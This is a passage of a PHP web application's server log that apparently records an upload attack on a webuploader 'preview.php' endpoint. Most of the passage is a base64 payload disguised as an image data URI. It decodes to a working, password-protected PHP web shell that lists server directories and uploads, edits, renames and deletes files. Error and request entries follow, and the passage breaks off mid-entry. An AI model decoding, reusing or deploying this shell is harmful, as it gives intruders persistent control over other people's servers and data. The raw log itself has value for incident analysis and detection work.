'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:28:08+08:00 ] 119.42.146.234 POST 51tianwei.com/static/common/user/webuploader/0.1.5/server/preview.php [运行时间:0.002675s] [吞吐率:373.82req/s] [内存消耗:196.72kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'common', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 